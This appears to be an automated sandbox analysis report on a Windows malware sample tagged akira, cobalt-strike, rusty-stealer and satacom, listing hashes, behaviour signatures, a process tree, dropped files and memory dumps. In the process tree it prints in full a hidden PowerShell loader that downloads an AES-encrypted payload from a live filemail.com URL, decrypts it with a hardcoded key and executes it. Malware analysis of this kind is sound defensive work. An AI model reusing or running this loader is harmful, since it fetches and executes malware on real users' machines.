Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 23:41

General

  • Target
    2026-06-04_5c218ffbf380896d9f6f4552d62b877c_akira_cobalt-strike_rusty-stealer_satacom.exe
  • Size 560KB
  • Sample260604-3pspdshw2r
  • SHA256 3128c6f5ff0170356546b2d8a48459a2040c88877e2cba224822429f063f0e6a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://2116.filemail.com/api/file/get?filekey=yt1ufKMy-waZArbYFAeXSsCP2YC8-qpRS1D54tESWKJ5AaFCsOBx5A

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-04_5c218ffbf380896d9f6f4552d62b877c_akira_cobalt-strike_rusty-stealer_satacom.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-04_5c218ffbf380896d9f6f4552d62b877c_akira_cobalt-strike_rusty-stealer_satacom.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$key = 'rthfd47plkLJGxXWr8euR205PBPMN5GtK40H1HHbsg'; $trimmedKey = $key.Substring(0, 32); $aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = [System.Text.Encoding]::UTF8.GetBytes($trimmedKey); $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $url = 'https://2116.filemail.com/api/file/get?filekey=yt1ufKMy-waZArbYFAeXSsCP2YC8-qpRS1D54tESWKJ5AaFCsOBx5A'; $encryptedBytes = Invoke-RestMethod -Uri $url -Method Get -OutFile $null -ContentType 'application/octet-stream'; $iv = $encryptedBytes[0..15]; $aes.IV = $iv; $encryptedBytes = $encryptedBytes[16..($encryptedBytes.Length - 1)]; $decryptor = $aes.CreateDecryptor(); $msInput = New-Object System.IO.MemoryStream; $msInput.Write($encryptedBytes, 0, $encryptedBytes.Length); $msInput.Position = 0; $cs = New-Object System.Security.Cryptography.CryptoStream($msInput, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read); $msOutput = New-Object System.IO.MemoryStream; $buffer = New-Object byte[] 1024; while (($read = $cs.Read($buffer, 0, $buffer.Length)) -gt 0) { $msOutput.Write($buffer, 0, $read); }; $decryptedBytes = $msOutput.ToArray(); $res = [System.Text.Encoding]::UTF8.GetString($decryptedBytes); $cs.Close(); $msOutput.Close(); $msInput.Close(); Invoke-Expression $res;"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\system32\taskkill.exe
        "C:\Windows\system32\taskkill.exe" /f /im srv_chk.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:6080
      • C:\Windows\system32\taskkill.exe
        "C:\Windows\system32\taskkill.exe" /f /im srv_hst.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5724

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_qq1etxd2.fsc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qq1etxd2.fsc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        link.write.1.tlog

        • Path C:\Users\Admin\AppData\Local\Temp\hstchk\hst\resources\app.asar.unpacked\node_modules\@u4\opencv4nodejs\build\Release\obj\opencv4nodejs\opencv4nodejs.tlog\link.write.1.tlog
        • Size 27KB
        • SHA256 2cd6bbb5cfa8a787aa36e622606e8baf1e84516bab960bf70837a5c778378128
        • MD5 SHA1 SHA512 SSDEEP TLSH

        node-active-win.node

        • Path C:\Users\Admin\AppData\Local\Temp\hstchk\hst\resources\app.asar.unpacked\node_modules\active-win\lib\binding\napi-6-win32-unknown-x64\node-active-win.node
        • Size 156KB
        • SHA256 9c1e9f3aca602a4b0de2aff9bb4ce2764f1e00f286b7ad0522b81b4daabde11e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/4008-26-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-40-0x00000132BB1C0000-0x00000132BB273000-memory.dmp

        memory/4008-10-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-15-0x00000132B8D60000-0x00000132B8F22000-memory.dmp

        memory/4008-16-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-17-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-18-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-20-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-21-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-22-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-23-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-24-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-25-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-0-0x000001329FD0A000-0x000001329FD0B000-memory.dmp

        memory/4008-9-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-29-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-27-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-30-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-31-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-28-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-39-0x00000132B8D00000-0x00000132B8D1C000-memory.dmp

        memory/4008-41-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-42-0x00000132B8D20000-0x00000132B8D2A000-memory.dmp

        memory/4008-44-0x00000132B8D30000-0x00000132B8D3A000-memory.dmp

        memory/4008-43-0x00000132B8D10000-0x00000132B8D22000-memory.dmp

        memory/4008-77-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-8-0x000001329F540000-0x00000132A0002000-memory.dmp

        memory/4008-1-0x00000132B80D0000-0x00000132B80F2000-memory.dmp

        memory/4008-906-0x000001329F540000-0x00000132A0002000-memory.dmp